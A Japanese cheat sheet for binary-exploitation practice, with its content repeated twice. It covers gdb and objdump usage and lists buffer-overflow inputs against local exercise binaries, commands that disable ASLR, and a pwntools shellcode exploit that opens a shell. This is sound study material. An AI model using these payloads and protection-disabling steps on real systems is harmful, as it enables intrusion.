pwnのいくつかのコマンド
7294 ワード
gdb共通コマンド
=======
rプログラムをブレークポイントまで実行する
cプログラムの実行を継続する
sワンステップ実行
nステップオーバー実行
x指定されたアドレスのメモリアドレスを表示する値x/(n,f,uはオプションパラメータ)nは、表示するメモリセルの個数である
fは表示形式である:
x(hex)は16進数で変数を表示します.
d(decimal)変数を10進数で表示します.
u(unsigneddecimal)は、符号なし整数を10進数で表示します.
o(octal)変数を8進数で表示します.
t(binary)変数をバイナリ形式で表示します.
a(address)は16進数で変数を表示します.
c(char)変数を文字形式で表示します.
f(float)浮動小数点数形式で変数を表示
u単位当たりの大きさはバイト数で計算する
下ブレークポイント:b*address or b function_name
フォーマット:b*メモリアドレス(関数名)
delete:すべてのブレークポイントを削除
delete num:numと番号付けされたブレークポイントを削除
info break:すべてのブレークポイントをリスト
値の表示
フォーマット:p変数名
変数のアドレスを表示するには、p&変数名を使用します.
Info表示値
info proc mapプロセスのメモリマッピングの表示
レジスタの値の変更:set var$レジスタ=expr
addressアドレスに格納されている変数タイプtypeの変数に値を付与:set{type}address=expr
i表示情報詳細help関数で表示
逆アセンブリコマンドdisas/disass/disassemble
フォーマット:disas/disass/disassemble関数名/開始アドレス[,終了アドレス]
例:
disas main、main関数に対応するアセンブリコードを表示
objdumpコマンド
--archive-headers
-a
ライブラリのメンバー情報を表示します.ls-lのようにlib*.aの情報リスト.
-b bfdname
--target=bfdname
ターゲットコードのフォーマットを指定します.これは必須ではありません.objdumpは、次のような多くのフォーマットを自動的に識別できます.
objdump -b oasys -m vax -h fu.o
fuを表示します.oのヘッダダイジェスト情報は,このファイルがVaxシステム下でOasysコンパイラで生成されたターゲットファイルであることを明確に示している.objdump-iは、ここで指定できるターゲットコードフォーマットのリストを与えます.
-C
--demangle
下位の符号名をユーザレベルの名前に復号し,先頭の下線を除いてC++関数名を理解可能に表示する.
--debugging
-g
デバッグ情報を表示します.ファイルに保存されているデバッグ情報を解析し、C言語の構文で表示しようとします.いくつかのタイプのデバッグ情報のみがサポートされます.他のフォーマットの中にはreadelf-wでサポートされているものもあります.
-e
--debugging-tags
-gオプションと似ていますが、生成された情報はctagsツールと互換性のあるフォーマットです.
--disassemble
-d
objfileから特定の命令マシンコードのsectionを逆アセンブリします.
-D
--disassemble-all
-dと似ていますが、すべてのsectionを逆アセンブリします.
--prefix-addresses
逆アセンブリの場合、各行の完全なアドレスが表示されます.これは比較的古い逆アセンブリフォーマットです.
-EB
-EL
--endian={big|little}
ターゲットファイルの小端を指定します.この項は逆アセンブリされた命令に影響します.逆アセンブリのファイルが小端情報を記述していない場合に使用します.例えばS-records.
-f
--file-headers
objfile内の各ファイルのヘッダ全体のサマリー情報を表示します.
-h
--section-headers
--headers
ターゲットファイルの各sectionのヘッダサマリー情報が表示されます.
-H
--help
簡単なヘルプ情報.
-i
--info
-bまたは-mオプションで使用可能なアーキテクチャとターゲットフォーマットのリストが表示されます.
-j name
--section=name
名前がnameのsectionを指定した情報のみを表示
-l
--line-numbers
ファイル名と行番号で対応するターゲットコードを表示し、-d、-Dまたは-rと一緒に-ldを使用するか-dを使用するかの違いは大きくなく、ソースレベルでデバッグするときに役立ち、コンパイルを要求するときに-gなどのデバッグコンパイルオプションを使用します.
-m machine
--architecture=machine
このオプションは、ターゲットファイルを逆アセンブリするときに使用するアーキテクチャを指定します.このオプションは、逆アセンブリするファイル自体がアーキテクチャ情報を記述していない場合(S-recordsなど)に便利です.ここで指定できるアーキテクチャは、-iオプションでリストすることができる.
--reloc
-r
ファイルの再配置エントリが表示されます.-dまたは-Dとともに使用される場合、再配置部分は逆アセンブリされた形式で表示されます.
--dynamic-reloc
-R
一部の共有ライブラリなどのダイナミックターゲットファイルの意味に対してのみ、ファイルのダイナミック再配置エントリが表示されます.
-s
--full-contents
指定したsectionの完全な内容が表示されます.デフォルトでは、空でないすべてのsectionが表示されます.
-S
--source
ソースコードをできるだけ逆アセンブリし、特にコンパイル時に-gというデバッグパラメータを指定した場合、効果は比較的顕著である.-dパラメータが隠されています.
--show-raw-insn
逆アセンブリの場合、各アセンブリ命令に対応するマシンコードが表示されます.--prefix-addressesを指定しない場合は、デフォルトのオプションになります.
--no-show-raw-insn
逆アセンブリの場合、アセンブリ命令のマシンコードは表示されません.たとえば、--prefix-addressesを指定しない場合は、デフォルトのオプションになります.
--start-address=address
指定したアドレスからデータが表示され、-d、-r、および-sオプションの出力に影響します.
--stop-address=address
指定したアドレスまでデータが表示され、-d、-r、-sオプションの出力に影響します.
-t
--syms
ファイルのシンボルテーブルのエントリが表示されます.nm-sが提供する情報に類似する
-T
--dynamic-syms
ファイルのダイナミックシンボルテーブルのエントリが表示されます.一部の共有ライブラリなど、ダイナミックターゲットファイルにのみ意味があります.表示される情報はnm−D|−dynamic表示の情報と類似している.
-V
--version
バージョン情報
--all-headers
-x
シンボルテーブル、再配置エントリなど、使用可能なヘッダ情報が表示されます.-xは−a−f−h−r−tと同時に指定することに等価である.
-z
--disassemble-zeroes
一般に、逆アセンブリ出力は、これらのゼロブロックも逆アセンブリされるように、大きなブロックのゼロを省略する.
@fileは、オプションを1つのファイルに集約し、この@fileオプションを使用してロードできます.
C関数をバイナリにコンパイルします.
$ gcc stack0.c-o stack0-fno-stack-protector -m32
gcc -g hello.c -o hello
g++-g hello.cpp -o hello
pythonを使用してローカルプログラムを印刷および入力
$ python -c "print 'A'*65"| ./stack0
$ python -c "print'A'*64+'\x64\x63\x62\x61'"| xargs ./stack1
ここでxargsは入力データをパラメータとして表す.
プログラムが環境変数を呼び出すと、環境変数を変更できます.
core dumpの記録機能をオンにします.
ulimit -cunlimited
sudo sh -c 'echo"/tmp/core.%t">/proc/sys/kernel/core_pattern'
$ strace ./overflow3-28d8a442fb232c0c$(python -c 'print"A"*76 +"BBBB"')
LinuxシステムのASLR保護をオフにします.
sudo sh -c"echo 0 >/proc/sys/kernel/randomize_va_space"
現在ASLR保護がオンになっているかどうかを判断します.
from pwn import *io = process('./stack5')sc = asm(shellcraft.i386.sh())payload = scpayload += ((0x48+4)-len(sc)) * 'a'payload += '\x20\xcf\xff\xff'io.sendline(payload)io.interactive()ROPgadget --binary ./stack4
=======
rプログラムをブレークポイントまで実行する
cプログラムの実行を継続する
sワンステップ実行
nステップオーバー実行
x指定されたアドレスのメモリアドレスを表示する値x/(n,f,uはオプションパラメータ)nは、表示するメモリセルの個数である
fは表示形式である:
x(hex)は16進数で変数を表示します.
d(decimal)変数を10進数で表示します.
u(unsigneddecimal)は、符号なし整数を10進数で表示します.
o(octal)変数を8進数で表示します.
t(binary)変数をバイナリ形式で表示します.
a(address)は16進数で変数を表示します.
c(char)変数を文字形式で表示します.
f(float)浮動小数点数形式で変数を表示
u単位当たりの大きさはバイト数で計算する
下ブレークポイント:b*address or b function_name
フォーマット:b*メモリアドレス(関数名)
delete:すべてのブレークポイントを削除
delete num:numと番号付けされたブレークポイントを削除
info break:すべてのブレークポイントをリスト
値の表示
フォーマット:p変数名
変数のアドレスを表示するには、p&変数名を使用します.
Info表示値
info proc mapプロセスのメモリマッピングの表示
find /bin/sh bin/sh
レジスタの値の変更:set var$レジスタ=expr
addressアドレスに格納されている変数タイプtypeの変数に値を付与:set{type}address=expr
i表示情報詳細help関数で表示
逆アセンブリコマンドdisas/disass/disassemble
フォーマット:disas/disass/disassemble関数名/開始アドレス[,終了アドレス]
例:
disas main、main関数に対応するアセンブリコードを表示
objdumpコマンド
--archive-headers
-a
ライブラリのメンバー情報を表示します.ls-lのようにlib*.aの情報リスト.
-b bfdname
--target=bfdname
ターゲットコードのフォーマットを指定します.これは必須ではありません.objdumpは、次のような多くのフォーマットを自動的に識別できます.
objdump -b oasys -m vax -h fu.o
fuを表示します.oのヘッダダイジェスト情報は,このファイルがVaxシステム下でOasysコンパイラで生成されたターゲットファイルであることを明確に示している.objdump-iは、ここで指定できるターゲットコードフォーマットのリストを与えます.
-C
--demangle
下位の符号名をユーザレベルの名前に復号し,先頭の下線を除いてC++関数名を理解可能に表示する.
--debugging
-g
デバッグ情報を表示します.ファイルに保存されているデバッグ情報を解析し、C言語の構文で表示しようとします.いくつかのタイプのデバッグ情報のみがサポートされます.他のフォーマットの中にはreadelf-wでサポートされているものもあります.
-e
--debugging-tags
-gオプションと似ていますが、生成された情報はctagsツールと互換性のあるフォーマットです.
--disassemble
-d
objfileから特定の命令マシンコードのsectionを逆アセンブリします.
-D
--disassemble-all
-dと似ていますが、すべてのsectionを逆アセンブリします.
--prefix-addresses
逆アセンブリの場合、各行の完全なアドレスが表示されます.これは比較的古い逆アセンブリフォーマットです.
-EB
-EL
--endian={big|little}
ターゲットファイルの小端を指定します.この項は逆アセンブリされた命令に影響します.逆アセンブリのファイルが小端情報を記述していない場合に使用します.例えばS-records.
-f
--file-headers
objfile内の各ファイルのヘッダ全体のサマリー情報を表示します.
-h
--section-headers
--headers
ターゲットファイルの各sectionのヘッダサマリー情報が表示されます.
-H
--help
簡単なヘルプ情報.
-i
--info
-bまたは-mオプションで使用可能なアーキテクチャとターゲットフォーマットのリストが表示されます.
-j name
--section=name
名前がnameのsectionを指定した情報のみを表示
-l
--line-numbers
ファイル名と行番号で対応するターゲットコードを表示し、-d、-Dまたは-rと一緒に-ldを使用するか-dを使用するかの違いは大きくなく、ソースレベルでデバッグするときに役立ち、コンパイルを要求するときに-gなどのデバッグコンパイルオプションを使用します.
-m machine
--architecture=machine
このオプションは、ターゲットファイルを逆アセンブリするときに使用するアーキテクチャを指定します.このオプションは、逆アセンブリするファイル自体がアーキテクチャ情報を記述していない場合(S-recordsなど)に便利です.ここで指定できるアーキテクチャは、-iオプションでリストすることができる.
--reloc
-r
ファイルの再配置エントリが表示されます.-dまたは-Dとともに使用される場合、再配置部分は逆アセンブリされた形式で表示されます.
--dynamic-reloc
-R
一部の共有ライブラリなどのダイナミックターゲットファイルの意味に対してのみ、ファイルのダイナミック再配置エントリが表示されます.
-s
--full-contents
指定したsectionの完全な内容が表示されます.デフォルトでは、空でないすべてのsectionが表示されます.
-S
--source
ソースコードをできるだけ逆アセンブリし、特にコンパイル時に-gというデバッグパラメータを指定した場合、効果は比較的顕著である.-dパラメータが隠されています.
--show-raw-insn
逆アセンブリの場合、各アセンブリ命令に対応するマシンコードが表示されます.--prefix-addressesを指定しない場合は、デフォルトのオプションになります.
--no-show-raw-insn
逆アセンブリの場合、アセンブリ命令のマシンコードは表示されません.たとえば、--prefix-addressesを指定しない場合は、デフォルトのオプションになります.
--start-address=address
指定したアドレスからデータが表示され、-d、-r、および-sオプションの出力に影響します.
--stop-address=address
指定したアドレスまでデータが表示され、-d、-r、-sオプションの出力に影響します.
-t
--syms
ファイルのシンボルテーブルのエントリが表示されます.nm-sが提供する情報に類似する
-T
--dynamic-syms
ファイルのダイナミックシンボルテーブルのエントリが表示されます.一部の共有ライブラリなど、ダイナミックターゲットファイルにのみ意味があります.表示される情報はnm−D|−dynamic表示の情報と類似している.
-V
--version
バージョン情報
--all-headers
-x
シンボルテーブル、再配置エントリなど、使用可能なヘッダ情報が表示されます.-xは−a−f−h−r−tと同時に指定することに等価である.
-z
--disassemble-zeroes
一般に、逆アセンブリ出力は、これらのゼロブロックも逆アセンブリされるように、大きなブロックのゼロを省略する.
@fileは、オプションを1つのファイルに集約し、この@fileオプションを使用してロードできます.
C関数をバイナリにコンパイルします.
$ gcc stack0.c-o stack0-fno-stack-protector -m32
gcc -g hello.c -o hello
g++-g hello.cpp -o hello
pythonを使用してローカルプログラムを印刷および入力
$ python -c "print 'A'*65"| ./stack0
$ python -c "print'A'*64+'\x64\x63\x62\x61'"| xargs ./stack1
ここでxargsは入力データをパラメータとして表す.
$ ./overflow1-3948d17028101c40$(python -c 'print"A"*64 + "B"')
プログラムが環境変数を呼び出すと、環境変数を変更できます.
$ export GREENIE=`python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"'`
core dumpの記録機能をオンにします.
ulimit -cunlimited
sudo sh -c 'echo"/tmp/core.%t">/proc/sys/kernel/core_pattern'
$ python -c "print 'A'*200" | ./stack5
$ gdb stack5 /tmp/core.1522317467
gdb-peda$ x/10s $esp-0x50
$ strace ./overflow3-28d8a442fb232c0c$(python -c 'print"A"*76 +"BBBB"')
LinuxシステムのASLR保護をオフにします.
sudo sh -c"echo 0 >/proc/sys/kernel/randomize_va_space"
現在ASLR保護がオンになっているかどうかを判断します.
$ setarch `uname -m` -R ./overflow4-4834efeff17abdfb /$(python -c 'print "A"*76 + "BBBB"')
from pwn import *io = process('./stack5')sc = asm(shellcraft.i386.sh())payload = scpayload += ((0x48+4)-len(sc)) * 'a'payload += '\x20\xcf\xff\xff'io.sendline(payload)io.interactive()ROPgadget --binary ./stack4